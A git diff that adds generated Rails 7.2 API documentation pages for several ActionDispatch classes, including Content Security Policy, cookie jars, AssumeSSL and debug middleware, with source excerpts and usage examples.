+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Assertions/RoutingAssertions/WithIntegrationRouting/ClassMethods.html b/src/7.2/classes/ActionDispatch/Assertions/RoutingAssertions/WithIntegrationRouting/ClassMethods.html new file mode 100644 index 0000000000..33e09bf621 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Assertions/RoutingAssertions/WithIntegrationRouting/ClassMethods.html @@ -0,0 +1,112 @@ +--- +title: ActionDispatch::Assertions::RoutingAssertions::WithIntegrationRouting::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + with_routing(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/assertions/routing.rb, line 21
+          def with_routing(&block)
+            old_routes = nil
+            old_integration_session = nil
+
+            setup do
+              old_routes = app.routes
+              old_integration_session = integration_session
+              create_routes(&block)
+            end
+
+            teardown do
+              reset_routes(old_routes, old_integration_session)
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/AssumeSSL.html b/src/7.2/classes/ActionDispatch/AssumeSSL.html new file mode 100644 index 0000000000..c4c60993f6 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/AssumeSSL.html @@ -0,0 +1,162 @@ +--- +title: ActionDispatch::AssumeSSL +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch AssumeSSL

+ +

When proxying through a load balancer that terminates SSL, the forwarded request will appear as though it’s HTTP instead of HTTPS to the application. This makes redirects and cookie security target HTTP instead of HTTPS. This middleware makes the server assume that the proxy already terminated SSL, and that the request really is HTTPS.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/assume_ssl.rb, line 14
+    def initialize(app)
+      @app = app
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/assume_ssl.rb, line 18
+    def call(env)
+      env["HTTPS"] = "on"
+      env["HTTP_X_FORWARDED_PORT"] = "443"
+      env["HTTP_X_FORWARDED_PROTO"] = "https"
+      env["rack.url_scheme"] = "https"
+
+      @app.call(env)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Callbacks.html b/src/7.2/classes/ActionDispatch/Callbacks.html new file mode 100644 index 0000000000..e4a4b761cb --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Callbacks.html @@ -0,0 +1,255 @@ +--- +title: ActionDispatch::Callbacks +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch Callbacks

+ +

Provides callbacks to be executed before and after dispatching the request.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + after(*args, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/callbacks.rb, line 19
+      def after(*args, &block)
+        set_callback(:call, :after, *args, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before(*args, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/callbacks.rb, line 15
+      def before(*args, &block)
+        set_callback(:call, :before, *args, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(app) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/callbacks.rb, line 24
+    def initialize(app)
+      @app = app
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/callbacks.rb, line 28
+    def call(env)
+      error = nil
+      result = run_callbacks :call do
+        @app.call(env)
+      rescue => error
+      end
+      raise error if error
+      result
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Constants.html b/src/7.2/classes/ActionDispatch/Constants.html new file mode 100644 index 0000000000..de8e52ba94 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Constants.html @@ -0,0 +1,156 @@ +--- +title: ActionDispatch::Constants +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CONTENT_ENCODING="Content-Encoding"
CONTENT_SECURITY_POLICY="Content-Security-Policy"
CONTENT_SECURITY_POLICY_REPORT_ONLY="Content-Security-Policy-Report-Only"
FEATURE_POLICY="Feature-Policy"
LOCATION="Location"
SERVER_TIMING="Server-Timing"
STRICT_TRANSPORT_SECURITY="Strict-Transport-Security"
VARY="Vary"
X_CASCADE="X-Cascade"
X_REQUEST_ID="X-Request-Id"
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/ContentSecurityPolicy.html b/src/7.2/classes/ActionDispatch/ContentSecurityPolicy.html new file mode 100644 index 0000000000..1cb394430c --- /dev/null +++ b/src/7.2/classes/ActionDispatch/ContentSecurityPolicy.html @@ -0,0 +1,553 @@ +--- +title: ActionDispatch::ContentSecurityPolicy +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch Content Security Policy

+ +

Configures the HTTP Content-Security-Policy response header to help protect against XSS and injection attacks.

+ +

Example global policy:

+ +
Rails.application.config.content_security_policy do |policy|
+  policy.default_src :self, :https
+  policy.font_src    :self, :https, :data
+  policy.img_src     :self, :https, :data
+  policy.object_src  :none
+  policy.script_src  :self, :https
+  policy.style_src   :self, :https
+
+  # Specify URI for violation reports
+  policy.report_uri "/csp-violation-report-endpoint"
+end
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + directives
+ + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 176
+    def initialize
+      @directives = {}
+      yield self if block_given?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + block_all_mixed_content(enabled = true) + +

+ + +
+

Specify whether to prevent the user agent from loading any assets over HTTP when the page uses HTTPS:

+ +
policy.block_all_mixed_content
+
+ +

Pass false to allow it again:

+ +
policy.block_all_mixed_content false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 204
+    def block_all_mixed_content(enabled = true)
+      if enabled
+        @directives["block-all-mixed-content"] = true
+      else
+        @directives.delete("block-all-mixed-content")
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build(context = nil, nonce = nil, nonce_directives = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 293
+    def build(context = nil, nonce = nil, nonce_directives = nil)
+      nonce_directives = DEFAULT_NONCE_DIRECTIVES if nonce_directives.nil?
+      build_directives(context, nonce, nonce_directives).compact.join("; ")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + initialize_copy(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 181
+    def initialize_copy(other)
+      @directives = other.directives.deep_dup
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + plugin_types(*types) + +

+ + +
+

Restricts the set of plugins that can be embedded:

+ +
policy.plugin_types "application/x-shockwave-flash"
+
+ +

Leave empty to allow all plugins:

+ +
policy.plugin_types
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 220
+    def plugin_types(*types)
+      if types.first
+        @directives["plugin-types"] = types
+      else
+        @directives.delete("plugin-types")
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + report_uri(uri) + +

+ + +
+

Enable the report-uri directive. Violation reports will be sent to the specified URI:

+ +
policy.report_uri "/csp-violation-report-endpoint"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 234
+    def report_uri(uri)
+      @directives["report-uri"] = [uri]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + require_sri_for(*types) + +

+ + +
+

Specify asset types for which Subresource Integrity is required:

+ +
policy.require_sri_for :script, :style
+
+ +

Leave empty to not require Subresource Integrity:

+ +
policy.require_sri_for
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 246
+    def require_sri_for(*types)
+      if types.first
+        @directives["require-sri-for"] = types
+      else
+        @directives.delete("require-sri-for")
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sandbox(*values) + +

+ + +
+

Specify whether a sandbox should be enabled for the requested resource:

+ +
policy.sandbox
+
+ +

Values can be passed as arguments:

+ +
policy.sandbox "allow-scripts", "allow-modals"
+
+ +

Pass false to disable the sandbox:

+ +
policy.sandbox false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 267
+    def sandbox(*values)
+      if values.empty?
+        @directives["sandbox"] = true
+      elsif values.first
+        @directives["sandbox"] = values
+      else
+        @directives.delete("sandbox")
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + upgrade_insecure_requests(enabled = true) + +

+ + +
+

Specify whether user agents should treat any assets over HTTP as HTTPS:

+ +
policy.upgrade_insecure_requests
+
+ +

Pass false to disable it:

+ +
policy.upgrade_insecure_requests false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 285
+    def upgrade_insecure_requests(enabled = true)
+      if enabled
+        @directives["upgrade-insecure-requests"] = true
+      else
+        @directives.delete("upgrade-insecure-requests")
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/ContentSecurityPolicy/Middleware.html b/src/7.2/classes/ActionDispatch/ContentSecurityPolicy/Middleware.html new file mode 100644 index 0000000000..bc439afd58 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/ContentSecurityPolicy/Middleware.html @@ -0,0 +1,166 @@ +--- +title: ActionDispatch::ContentSecurityPolicy::Middleware +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 30
+      def initialize(app)
+        @app = app
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 34
+      def call(env)
+        status, headers, _ = response = @app.call(env)
+
+        # Returning CSP headers with a 304 Not Modified is harmful, since nonces in the
+        # new CSP headers might not match nonces in the cached HTML.
+        return response if status == 304
+
+        return response if policy_present?(headers)
+
+        request = ActionDispatch::Request.new env
+
+        if policy = request.content_security_policy
+          nonce = request.content_security_policy_nonce
+          nonce_directives = request.content_security_policy_nonce_directives
+          context = request.controller_instance || request
+          headers[header_name(request)] = policy.build(context, nonce, nonce_directives)
+        end
+
+        response
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/ContentSecurityPolicy/Request.html b/src/7.2/classes/ActionDispatch/ContentSecurityPolicy/Request.html new file mode 100644 index 0000000000..d20385b567 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/ContentSecurityPolicy/Request.html @@ -0,0 +1,460 @@ +--- +title: ActionDispatch::ContentSecurityPolicy::Request +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NONCE="action_dispatch.content_security_policy_nonce"
NONCE_DIRECTIVES="action_dispatch.content_security_policy_nonce_directives"
NONCE_GENERATOR="action_dispatch.content_security_policy_nonce_generator"
POLICY="action_dispatch.content_security_policy"
POLICY_REPORT_ONLY="action_dispatch.content_security_policy_report_only"
+ + + + + + + +

Instance Public methods

+ +
+

+ + content_security_policy() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 77
+      def content_security_policy
+        get_header(POLICY)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_security_policy=(policy) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 81
+      def content_security_policy=(policy)
+        set_header(POLICY, policy)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_security_policy_nonce() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 109
+      def content_security_policy_nonce
+        if content_security_policy_nonce_generator
+          if nonce = get_header(NONCE)
+            nonce
+          else
+            set_header(NONCE, generate_content_security_policy_nonce)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_security_policy_nonce_directives() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 101
+      def content_security_policy_nonce_directives
+        get_header(NONCE_DIRECTIVES)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_security_policy_nonce_directives=(generator) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 105
+      def content_security_policy_nonce_directives=(generator)
+        set_header(NONCE_DIRECTIVES, generator)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_security_policy_nonce_generator() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 93
+      def content_security_policy_nonce_generator
+        get_header(NONCE_GENERATOR)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_security_policy_nonce_generator=(generator) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 97
+      def content_security_policy_nonce_generator=(generator)
+        set_header(NONCE_GENERATOR, generator)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_security_policy_report_only() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 85
+      def content_security_policy_report_only
+        get_header(POLICY_REPORT_ONLY)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_security_policy_report_only=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/content_security_policy.rb, line 89
+      def content_security_policy_report_only=(value)
+        set_header(POLICY_REPORT_ONLY, value)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Cookies.html b/src/7.2/classes/ActionDispatch/Cookies.html new file mode 100644 index 0000000000..061be91940 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Cookies.html @@ -0,0 +1,404 @@ +--- +title: ActionDispatch::Cookies +layout: default +--- +
+ +
+
+ +
+ +

Read and write data to cookies through ActionController::Cookies#cookies.

+ +

When reading cookie data, the data is read from the HTTP request header, Cookie. When writing cookie data, the data is sent out in the HTTP response header, Set-Cookie.

+ +

Examples of writing:

+ +
# Sets a simple session cookie.
+# This cookie will be deleted when the user's browser is closed.
+cookies[:user_name] = "david"
+
+# Cookie values are String-based. Other data types need to be serialized.
+cookies[:lat_lon] = JSON.generate([47.68, -122.37])
+
+# Sets a cookie that expires in 1 hour.
+cookies[:login] = { value: "XJ-122", expires: 1.hour }
+
+# Sets a cookie that expires at a specific time.
+cookies[:login] = { value: "XJ-122", expires: Time.utc(2020, 10, 15, 5) }
+
+# Sets a signed cookie, which prevents users from tampering with its value.
+# It can be read using the signed method `cookies.signed[:name]`
+cookies.signed[:user_id] = current_user.id
+
+# Sets an encrypted cookie value before sending it to the client which
+# prevent users from reading and tampering with its value.
+# It can be read using the encrypted method `cookies.encrypted[:name]`
+cookies.encrypted[:discount] = 45
+
+# Sets a "permanent" cookie (which expires in 20 years from now).
+cookies.permanent[:login] = "XJ-122"
+
+# You can also chain these methods:
+cookies.signed.permanent[:login] = "XJ-122"
+
+ +

Examples of reading:

+ +
cookies[:user_name]           # => "david"
+cookies.size                  # => 2
+JSON.parse(cookies[:lat_lon]) # => [47.68, -122.37]
+cookies.signed[:login]        # => "XJ-122"
+cookies.encrypted[:discount]  # => 45
+
+ +

Example for deleting:

+ +
cookies.delete :user_name
+
+ +

Please note that if you specify a :domain when setting a cookie, you must also specify the domain when deleting the cookie:

+ +
cookies[:name] = {
+  value: 'a yummy cookie',
+  expires: 1.year,
+  domain: 'domain.com'
+}
+
+cookies.delete(:name, domain: 'domain.com')
+
+ +

The option symbols for setting cookies are:

+
  • +

    :value - The cookie’s value.

    +
  • +

    :path - The path for which this cookie applies. Defaults to the root of the application.

    +
  • +

    :domain - The domain for which this cookie applies so you can restrict to the domain level. If you use a schema like www.example.com and want to share session with user.example.com set :domain to :all. To support multiple domains, provide an array, and the first domain matching request.host will be used. Make sure to specify the :domain option with :all or Array again when deleting cookies. For more flexibility you can set the domain on a per-request basis by specifying :domain with a proc.

    + +
    domain: nil  # Does not set cookie domain. (default)
    +domain: :all # Allow the cookie for the top most level
    +             # domain and subdomains.
    +domain: %w(.example.com .example.org) # Allow the cookie
    +                                      # for concrete domain names.
    +domain: proc { Tenant.current.cookie_domain } # Set cookie domain dynamically
    +domain: proc { |req| ".sub.#{req.host}" }     # Set cookie domain dynamically based on request
    +
    +
  • +

    :tld_length - When using :domain => :all, this option can be used to explicitly set the TLD length when using a short (<= 3 character) domain that is being interpreted as part of a TLD. For example, to share cookies between user1.lvh.me and user2.lvh.me, set :tld_length to 2.

    +
  • +

    :expires - The time at which this cookie expires, as a Time or ActiveSupport::Duration object.

    +
  • +

    :secure - Whether this cookie is only transmitted to HTTPS servers. Default is false.

    +
  • +

    :httponly - Whether this cookie is accessible via scripting or only HTTP. Defaults to false.

    +
  • +

    :same_site - The value of the SameSite cookie attribute, which determines how this cookie should be restricted in cross-site contexts. Possible values are nil, :none, :lax, and :strict. Defaults to :lax.

    +
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AUTHENTICATED_ENCRYPTED_COOKIE_SALT="action_dispatch.authenticated_encrypted_cookie_salt"
COOKIES_DIGEST="action_dispatch.cookies_digest"
COOKIES_ROTATIONS="action_dispatch.cookies_rotations"
COOKIES_SAME_SITE_PROTECTION="action_dispatch.cookies_same_site_protection"
COOKIES_SERIALIZER="action_dispatch.cookies_serializer"
CookieOverflow=Class.new StandardError
 

Raised when storing more than 4K of session data.

ENCRYPTED_COOKIE_CIPHER="action_dispatch.encrypted_cookie_cipher"
ENCRYPTED_COOKIE_SALT="action_dispatch.encrypted_cookie_salt"
ENCRYPTED_SIGNED_COOKIE_SALT="action_dispatch.encrypted_signed_cookie_salt"
GENERATOR_KEY="action_dispatch.key_generator"
HTTP_HEADER="Set-Cookie"
MAX_COOKIE_SIZE=4096
 

Cookies can typically store 4096 bytes.

SECRET_KEY_BASE="action_dispatch.secret_key_base"
SIGNED_COOKIE_DIGEST="action_dispatch.signed_cookie_digest"
SIGNED_COOKIE_SALT="action_dispatch.signed_cookie_salt"
USE_AUTHENTICATED_COOKIE_ENCRYPTION="action_dispatch.use_authenticated_cookie_encryption"
USE_COOKIES_WITH_METADATA="action_dispatch.use_cookies_with_metadata"
+ + + + + + +

Class Public methods

+ +
+

+ + new(app) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/cookies.rb, line 698
+    def initialize(app)
+      @app = app
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/cookies.rb, line 702
+    def call(env)
+      request = ActionDispatch::Request.new(env)
+      response = @app.call(env)
+
+      if request.have_cookie_jar?
+        cookie_jar = request.cookie_jar
+        unless cookie_jar.committed?
+          response = Rack::Response[*response]
+          cookie_jar.write(response)
+        end
+      end
+
+      response.to_a
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Cookies/ChainedCookieJars.html b/src/7.2/classes/ActionDispatch/Cookies/ChainedCookieJars.html new file mode 100644 index 0000000000..d28f6055f7 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Cookies/ChainedCookieJars.html @@ -0,0 +1,263 @@ +--- +title: ActionDispatch::Cookies::ChainedCookieJars +layout: default +--- +
+ +
+
+ +
+ +

Include in a cookie jar to allow chaining, e.g. cookies.permanent.signed.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + encrypted() + +

+ + +
+

Returns a jar that’ll automatically encrypt cookie values before sending them to the client and will decrypt them for read. If the cookie was tampered with by the user (or a 3rd party), nil will be returned.

+ +

If config.action_dispatch.encrypted_cookie_salt and config.action_dispatch.encrypted_signed_cookie_salt are both set, legacy cookies encrypted with HMAC AES-256-CBC will be transparently upgraded.

+ +

This jar requires that you set a suitable secret for the verification on your app’s secret_key_base.

+ +

Example:

+ +
cookies.encrypted[:discount] = 45
+# => Set-Cookie: discount=DIQ7fw==--K3n//8vvnSbGq9dA--7Xh91HfLpwzbj1czhBiwOg==; path=/
+
+cookies.encrypted[:discount] # => 45
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/cookies.rb, line 272
+      def encrypted
+        @encrypted ||= EncryptedKeyRotatingCookieJar.new(self)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + permanent() + +

+ + +
+

Returns a jar that’ll automatically set the assigned cookies to have an expiration date 20 years from now. Example:

+ +
cookies.permanent[:prefers_open_id] = true
+# => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+
+ +

This jar is only meant for writing. You’ll read permanent cookies through the regular accessor.

+ +

This jar allows chaining with the signed jar as well, so you can set permanent, signed cookies. Examples:

+ +
cookies.permanent.signed[:remember_me] = current_user.id
+# => Set-Cookie: remember_me=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/cookies.rb, line 232
+      def permanent
+        @permanent ||= PermanentCookieJar.new(self)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + signed() + +

+ + +
+

Returns a jar that’ll automatically generate a signed representation of cookie value and verify it when reading from the cookie again. This is useful for creating cookies with values that the user is not supposed to change. If a signed cookie was tampered with by the user (or a 3rd party), nil will be returned.

+ +

This jar requires that you set a suitable secret for the verification on your app’s secret_key_base.

+ +

Example:

+ +
cookies.signed[:discount] = 45
+# => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
+
+cookies.signed[:discount] # => 45
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/cookies.rb, line 251
+      def signed
+        @signed ||= SignedKeyRotatingCookieJar.new(self)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + signed_or_encrypted() + +

+ + +
+

Returns the signed or encrypted jar, preferring encrypted if secret_key_base is set. Used by ActionDispatch::Session::CookieStore to avoid the need to introduce new cookie stores.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/cookies.rb, line 279
+      def signed_or_encrypted
+        @signed_or_encrypted ||=
+          if request.secret_key_base.present?
+            encrypted
+          else
+            signed
+          end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/DebugExceptions.html b/src/7.2/classes/ActionDispatch/DebugExceptions.html new file mode 100644 index 0000000000..3699304d25 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/DebugExceptions.html @@ -0,0 +1,215 @@ +--- +title: ActionDispatch::DebugExceptions +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch DebugExceptions

+ +

This middleware is responsible for logging exceptions and showing a debugging page in case the request is local.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app, routes_app = nil, response_format = :default, interceptors = self.class.interceptors) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/debug_exceptions.rb, line 23
+    def initialize(app, routes_app = nil, response_format = :default, interceptors = self.class.interceptors)
+      @app             = app
+      @routes_app      = routes_app
+      @response_format = response_format
+      @interceptors    = interceptors
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register_interceptor(object = nil, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/debug_exceptions.rb, line 18
+    def self.register_interceptor(object = nil, &block)
+      interceptor = object || block
+      interceptors << interceptor
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/debug_exceptions.rb, line 30
+    def call(env)
+      _, headers, body = response = @app.call(env)
+
+      if headers[Constants::X_CASCADE] == "pass"
+        body.close if body.respond_to?(:close)
+        raise ActionController::RoutingError, "No route matches [#{env['REQUEST_METHOD']}] #{env['PATH_INFO'].inspect}"
+      end
+
+      response
+    rescue Exception => exception
+      request = ActionDispatch::Request.new env
+      backtrace_cleaner = request.get_header("action_dispatch.backtrace_cleaner")
+      wrapper = ExceptionWrapper.new(backtrace_cleaner, exception)
+
+      invoke_interceptors(request, exception, wrapper)
+      raise exception unless wrapper.show?(request)
+      render_exception(request, exception, wrapper)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/DebugLocks.html b/src/7.2/classes/ActionDispatch/DebugLocks.html new file mode 100644 index 0000000000..ebd5846a21 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/DebugLocks.html @@ -0,0 +1,180 @@ +--- +title: ActionDispatch::DebugLocks +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch DebugLocks

+ +

This middleware can be used to diagnose deadlocks in the autoload interlock.

+ +

To use it, insert it near the top of the middleware stack, using config/application.rb:

+ +
config.middleware.insert_before Rack::Sendfile, ActionDispatch::DebugLocks
+
+ +

After restarting the application and re-triggering the deadlock condition, the route /rails/locks will show a summary of all threads currently known to the interlock, which lock level they are holding or awaiting, and their current backtrace.

+ +

Generally a deadlock will be caused by the interlock conflicting with some other external lock or blocking I/O call. These cannot be automatically identified, but should be visible in the displayed backtraces.

+ +

NOTE: The formatting and content of this middleware’s output is intended for human consumption, and should be expected to change between releases.

+ +

This middleware exposes operational details of the server, with no access control. It should only be enabled when in use, and removed thereafter.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app, path = "/rails/locks") + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/debug_locks.rb, line 30
+    def initialize(app, path = "/rails/locks")
+      @app = app
+      @path = path
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/debug_locks.rb, line 35
+    def call(env)
+      req = ActionDispatch::Request.new env
+
+      if req.get?
+        path = req.path_info.chomp("/")
+        if path == @path
+          return render_details(req)
+        end
+      end
+
+      @app.call(env)
+    end
